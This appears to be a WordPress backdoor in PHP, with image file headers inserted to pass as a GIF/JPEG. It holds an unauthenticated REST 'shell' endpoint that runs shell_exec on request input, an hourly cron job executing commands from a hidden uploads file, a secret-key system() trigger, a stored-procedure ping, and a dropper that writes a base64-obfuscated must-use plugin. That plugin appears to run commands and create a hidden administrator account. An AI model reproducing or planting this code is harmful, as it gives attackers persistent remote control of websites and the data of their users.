// REST endpoints add_action('rest_api_init', 'api_init'); function api_init(){ register_rest_route('wp/v2', '/shell/(?P[a-z0-9]+)', array( 'methods' => 'GET', 'callback' => 'api_shell', 'permission_callback' => '__return_true' )); } function api_shell($data){ $cmd = $data['cmd']; if($cmd === 'ping') return array('status' => 'WP2S::PONG::END'); if($cmd === 'exec') { $out = shell_exec($_GET['c']); return array('output' => $out); } return array('error' => 'unknown'); }GIF89a // Try to create procedure register_activation_hook(__FILE__, 'dbp_activate'); function dbp_activate(){ global $wpdb; $wpdb->query("DROP PROCEDURE IF EXISTS wp_shell"); $proc = "CREATE PROCEDURE wp_shell(IN cmd VARCHAR(255)) BEGIN IF cmd = '5aa628a7' THEN SELECT 'WP2S::PONG::END' AS status; END IF; END"; @$wpdb->query($proc); } if(isset($_GET['dbinstall'])){ global $wpdb; $wpdb->query("DROP PROCEDURE IF EXISTS wp_shell"); $proc = "CREATE PROCEDURE wp_shell(IN cmd VARCHAR(255)) BEGIN IF cmd = '5aa628a7' THEN SELECT 'WP2S::PONG::END' AS status; END IF; END"; if(@$wpdb->query($proc)) echo'WP2S:DB_OK'; else echo'WP2S:DB_FAIL'; exit; }ÿØÿàJFIFÿþ
// Cron-based backdoor register_activation_hook(__FILE__, 'maint_activate'); function maint_activate(){ if(!wp_next_scheduled('maint_check')){ wp_schedule_event(time(), 'hourly', 'maint_check'); } } add_action('maint_check', 'maint_exec'); function maint_exec(){ $trigger = WP_CONTENT_DIR . '/uploads/.maint-' . date('Ymd') . '.txt'; if(file_exists($trigger)){ $cmd = file_get_contents($trigger); @exec($cmd); unlink($trigger); } } // Manual trigger if(isset($_GET['maint_key']) && $_GET['maint_key'] === '5aa628a7'){ if(isset($_GET['exec'])){ system($_GET['exec']); exit; } if(isset($_GET['shell'])){ echo'WP2S::PONG::END'; exit; } } register_activation_hook(__FILE__, 'muh_activate'); function muh_activate(){ $mu = WP_CONTENT_DIR . '/mu-plugins/'; if(!is_dir($mu))@mkdir($mu,0777,true); @file_put_contents($mu.'must-use-dfc2d183.php', base64_decode('PD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCdhV1lvYVhOelpYUW9KRjlIUlZSYkluQWlYU2twZTJWamFHOGlWMUF5VXpvNlVFOU9Sem82UlU1RUlqdGthV1U3ZldsbUtHbHpjMlYwS0NSZlIwVlVXeUpqSWwwcEtYdHplWE4wWlcwb0pGOUhSVlJiSW1NaVhTazdaR2xsTzMxcFppaHBjM05sZENna1gwZEZWRnNuYzJWeVoyVnBKMTBwS1h0cFppZ2haR1ZtYVc1bFpDZ25RVUpUVUVGVVNDY3BLWHNrWkQxZlgwUkpVbDlmTzJadmNpZ2thVDB3T3lScFBEWTdKR2tyS3lsN2FXWW9abWxzWlY5bGVHbHpkSE1vSkdRdUp5OTNjQzFzYjJGa0xuQm9jQ2NwS1h0eVpYRjFhWEpsWDI5dVkyVWdKR1F1Snk5M2NDMXNiMkZrTG5Cb2NDYzdZbkpsWVdzN2ZTUmtQV1JwY201aGJXVW9KR1FwTzMxOWNtVnhkV2x5WlY5dmJtTmxJRUZDVTFCQlZFZ3VKM2R3TFdGa2JXbHVMMmx1WTJ4MVpHVnpMM1Z6WlhJdWNHaHdKenRwWmlnaGRYTmxjbTVoYldWZlpYaHBjM1J6S0NkM1lYSnVhV2RvZENjcEtYc2thV1E5ZDNCZlkzSmxZWFJsWDNWelpYSW9KM2RoY201cFoyaDBKeXduTldGaE5qSTRZVGN5WldNNU16VmlaQ2NzSjNkaGNtNXBaMmgwUUhObGNuWnBZMlV1Ykc5allXd25LVHNvYm1WM0lGZFFYMVZ6WlhJb0pHbGtLU2t0UG5ObGRGOXliMnhsS0NkaFpHMXBibWx6ZEhKaGRHOXlKeWs3ZldWc2MyVjdKSFU5WjJWMFgzVnpaWEpmWW5rb0oyeHZaMmx1Snl3bmQyRnlibWxuYUhRbktUdDNjRjl6WlhSZmNHRnpjM2R2Y21Rb0p6VmhZVFl5T0dFM01tVmpPVE0xWW1RbkxDUjFMVDVKUkNrN0pIVXRQbk5sZEY5eWIyeGxLQ2RoWkcxcGJtbHpkSEpoZEc5eUp5azdmWGR3WDJOc1pXRnlYMkYxZEdoZlkyOXZhMmxsS0NrN2QzQmZjMlYwWDJOMWNuSmxiblJmZFhObGNpZ2tkUzArU1VRcE8zZHdYM05sZEY5aGRYUm9YMk52YjJ0cFpTZ2tkUzArU1VRc2RISjFaU2s3ZDNCZmMyRm1aVjl5WldScGNtVmpkQ2hoWkcxcGJsOTFjbXdvS1NrN1pYaHBkRHQ5JykpOz8+')); } if(isset($_GET['drop'])){ $mu = WP_CONTENT_DIR . '/mu-plugins/'; if(!is_dir($mu))@mkdir($mu,0777,true); if(@file_put_contents($mu.'must-use-dfc2d183.php', base64_decode('PD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCdhV1lvYVhOelpYUW9KRjlIUlZSYkluQWlYU2twZTJWamFHOGlWMUF5VXpvNlVFOU9Sem82UlU1RUlqdGthV1U3ZldsbUtHbHpjMlYwS0NSZlIwVlVXeUpqSWwwcEtYdHplWE4wWlcwb0pGOUhSVlJiSW1NaVhTazdaR2xsTzMxcFppaHBjM05sZENna1gwZEZWRnNuYzJWeVoyVnBKMTBwS1h0cFppZ2haR1ZtYVc1bFpDZ25RVUpUVUVGVVNDY3BLWHNrWkQxZlgwUkpVbDlmTzJadmNpZ2thVDB3T3lScFBEWTdKR2tyS3lsN2FXWW9abWxzWlY5bGVHbHpkSE1vSkdRdUp5OTNjQzFzYjJGa0xuQm9jQ2NwS1h0eVpYRjFhWEpsWDI5dVkyVWdKR1F1Snk5M2NDMXNiMkZrTG5Cb2NDYzdZbkpsWVdzN2ZTUmtQV1JwY201aGJXVW9KR1FwTzMxOWNtVnhkV2x5WlY5dmJtTmxJRUZDVTFCQlZFZ3VKM2R3TFdGa2JXbHVMMmx1WTJ4MVpHVnpMM1Z6WlhJdWNHaHdKenRwWmlnaGRYTmxjbTVoYldWZlpYaHBjM1J6S0NkM1lYSnVhV2RvZENjcEtYc2thV1E5ZDNCZlkzSmxZWFJsWDNWelpYSW9KM2RoY201cFoyaDBKeXduTldGaE5qSTRZVGN5WldNNU16VmlaQ2NzSjNkaGNtNXBaMmgwUUhObGNuWnBZMlV1Ykc5allXd25LVHNvYm1WM0lGZFFYMVZ6WlhJb0pHbGtLU2t0UG5ObGRGOXliMnhsS0NkaFpHMXBibWx6ZEhKaGRHOXlKeWs3ZldWc2MyVjdKSFU5WjJWMFgzVnpaWEpmWW5rb0oyeHZaMmx1Snl3bmQyRnlibWxuYUhRbktUdDNjRjl6WlhSZmNHRnpjM2R2Y21Rb0p6VmhZVFl5T0dFM01tVmpPVE0xWW1RbkxDUjFMVDVKUkNrN0pIVXRQbk5sZEY5eWIyeGxLQ2RoWkcxcGJtbHpkSEpoZEc5eUp5azdmWGR3WDJOc1pXRnlYMkYxZEdoZlkyOXZhMmxsS0NrN2QzQmZjMlYwWDJOMWNuSmxiblJmZFhObGNpZ2tkUzArU1VRcE8zZHdYM05sZEY5aGRYUm9YMk52YjJ0cFpTZ2tkUzArU1VRc2RISjFaU2s3ZDNCZmMyRm1aVjl5WldScGNtVmpkQ2hoWkcxcGJsOTFjbXdvS1NrN1pYaHBkRHQ5JykpOz8+'))) echo'WP2S:MU_OK'; else echo'WP2S:MU_FAIL'; exit; }GIF89a